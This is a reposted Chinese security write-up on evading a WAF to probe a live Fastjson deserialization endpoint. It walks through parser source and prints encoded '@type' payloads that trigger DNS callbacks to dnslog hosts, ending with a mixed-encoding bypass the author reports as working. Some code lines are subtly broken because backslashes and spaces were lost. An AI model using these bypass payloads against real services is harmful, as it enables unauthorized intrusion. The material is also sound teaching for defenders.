WAF绕过 | 记一次实战中对Fastjson waf的绕过

admin 2025年1月9日15:29:44评论18 views字数 6970阅读23分14秒阅读模式

 

原文链接:https://xz.aliyun.com/t/15602

作者:1341025112991831

0x1 前言

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

0x2 编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221DefaultJSONParser (com.alibaba.fastjson.parser)parse:1318DefaultJSONParser (com.alibaba.fastjson.parser)parse:1284DefaultJSONParser (com.alibaba.fastjson.parser)parse:152JSON (com.alibaba.fastjson)parse:143JSON (com.alibaba.fastjson)main:8Test

到如下代码

if (ch == '"') {    key = lexer.scanSymbol(this.symbolTable'"');    lexer.skipWhitespace();    ch = lexer.getCurrent();if (ch != ':') {thrownewJSONException("expect ':' at " + lexer.pos() + ", name " + key);    }}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {    case '"':        hash = 31 * hash + 34;this.putChar('"');break;    case '#':    case '$':    case '%':    case '&':    case '(':    case ')':    case '*':    case '+':    case ',':    case '-':    case '.':    case '8':    case '9':    case ':':    case ';':    case '<':    case '=':    case '>':    case '?':    case '@':    case 'A':    case 'B':    case 'C':    case 'D':    case 'E':    case 'G':    case 'H':    case 'I':    case 'J':    case 'K':    case 'L':    case 'M':    case 'N':    case 'O':    case 'P':    case 'Q':    case 'R':    case 'S':    case 'T':    case 'U':    case 'V':    case 'W':    case 'X':    case 'Y':    case 'Z':    case '[':    case ']':    case '^':    case '_':    case '`':    case 'a':    case 'c':    case 'd':    case 'e':    case 'g':    case 'h':    case 'i':    case 'j':    case 'k':    case 'l':    case 'm':    case 'o':    case 'p':    case 'q':    case 's':    case 'w':    default:this.ch = chLocal;throw new JSONException("unclosed.str.lit");    case ''':        hash = 31 * hash + 39;this.putChar(''');break;    case '/':        hash = 31 * hash + 47;this.putChar('/');break;    case '0':        hash = 31 * hash + chLocal;this.putChar('u0000');break;    case '1':        hash = 31 * hash + chLocal;this.putChar('u0001');break;    case '2':        hash = 31 * hash + chLocal;this.putChar('u0002');break;    case '3':        hash = 31 * hash + chLocal;this.putChar('u0003');break;    case '4':        hash = 31 * hash + chLocal;this.putChar('u0004');break;    case '5':        hash = 31 * hash + chLocal;this.putChar('u0005');break;    case '6':        hash = 31 * hash + chLocal;this.putChar('u0006');break;    case '7':        hash = 31 * hash + chLocal;this.putChar('u0007');break;    case 'F':    case 'f':        hash = 31 * hash + 12;this.putChar('f');break;    case '\':        hash = 31 * hash + 92;this.putChar('\');break;    case 'b':        hash = 31 * hash + 8;this.putChar('b');break;    case 'n':        hash = 31 * hash + 10;this.putChar('n');break;    case 'r':        hash = 31 * hash + 13;this.putChar('r');break;    case 't':        hash = 31 * hash + 9;this.putChar('t');break;    case 'u':        char c1 = this.next();        char c2 = this.next();        char c3 = this.next();        char c4 = this.next();        int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);        hash = 31 * hash + val;this.putChar((char)val);break;    case 'v':        hash = 31 * hash + 11;this.putChar('u000b');break;    case 'x':        char x1 = this.ch = this.next();        x2 = this.ch = this.next();        int x_val = digits[x1] * 16 + digits[x2];        char x_char = (char)x_val;        hash = 31 * hash + x_char;this.putChar(x_char);}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{"a":{"\u0040\u0074\u0079\u0070\u0065":"java.net.Inet4Address","val":"cd4d1c41.log.dnslog.sbs."}}"

WAF绕过 | 记一次实战中对Fastjson waf的绕过

可惜还是被拦截了

尝试了16进制结果还是一样的

0x3 特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

publicbooleanparseField(DefaultJSONParser parser, String key, Objectobject, Type objectType,Map<StringObject> fieldValues, int[] setFlags) {JSONLexer lexer = parser.lexer// xxx    final int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;    FieldDeserializer fieldDeserializer;    if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {        fieldDeserializer = getFieldDeserializer(key);    } else {        fieldDeserializer = smartMatch(key, setFlags);    }

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {if (key == null) {returnnull;    }    FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);if (fieldDeserializer == null) {long smartKeyHash = TypeUtils.fnv1a_64_lower(key);if (this.smartMatchHashArray == null) {long[] hashArray = newlong[sortedFieldDeserializers.length];for (int i = 0; i < sortedFieldDeserializers.length; i++) {                hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);            }            Arrays.sort(hashArray);this.smartMatchHashArray = hashArray;        }// smartMatchHashArrayMapping        int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);        if (pos < 0 && key.startsWith("is")) {            smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));            pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);        }        if (pos >= 0) {            if (smartMatchHashArrayMapping == null) {                short[] mapping = new short[smartMatchHashArray.length];                Arrays.fill(mapping, (short) -1);                for (int i = 0; i < sortedFieldDeserializers.length; i++) {                    int p = Arrays.binarySearch(smartMatchHashArray                            , TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));                    if (p >= 0) {                        mapping

= (short) i;                    }                }                smartMatchHashArrayMapping = mapping;            }            int deserIndex = smartMatchHashArrayMapping[pos];            if (deserIndex != -1) {                if (!isSetFlag(deserIndex, setFlags)) {                    fieldDeserializer = sortedFieldDeserializers[deserIndex];                }            }        }        if (fieldDeserializer != null) {            FieldInfo fieldInfo = fieldDeserializer.fieldInfo;            if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {                return null;            }        }    }    return fieldDeserializer;}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
publicstaticlongfnv1a_64_lower(String key) {long hashCode = 0xcbf29ce484222325L;for (int i = 0; i < key.length(); ++i) {char ch = key.charAt(i);if (ch == '_' || ch == '-') {continue;        }if (ch >= 'A' && ch <= 'Z') {            ch = (char) (ch + 32);        }        hashCode ^= ch;        hashCode *= 0x100000001b3L;    }return hashCode;}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

intpos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {    smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

0x4 加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

publicfinal void skipWhitespace() {for (;;) {if (ch <= '/') {if (ch == ' ' || ch == 'r' || ch == 'n' || ch == 't' || ch == 'f' || ch == 'b') {                next();continue;            } elseif (ch == '/') {                skipComment();continue;            } else {break;            }        } else {break;        }    }}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;publicclassTest {publicstaticvoidmain(String[] args) {String aaa = "{"@type"r:"java.net.Inet4Address","val":"48786d0c.log.dnslog.sbs."}";JSON.parse(aaa);    }}
WAF绕过 | 记一次实战中对Fastjson waf的绕过

确实可以,但是环境上去尝试任然被waf了

0x5 双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{"\x40\u0074\u0079\u0070\u0065"r:"java.net.Inet4Address","val":"48786d0c.log.dnslog.sbs."}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

原文始发于微信公众号(神农Sec):WAF绕过 | 记一次实战中对Fastjson waf的绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日15:29:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WAF绕过 | 记一次实战中对Fastjson waf的绕过https://cn-sec.com/archives/3605231.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息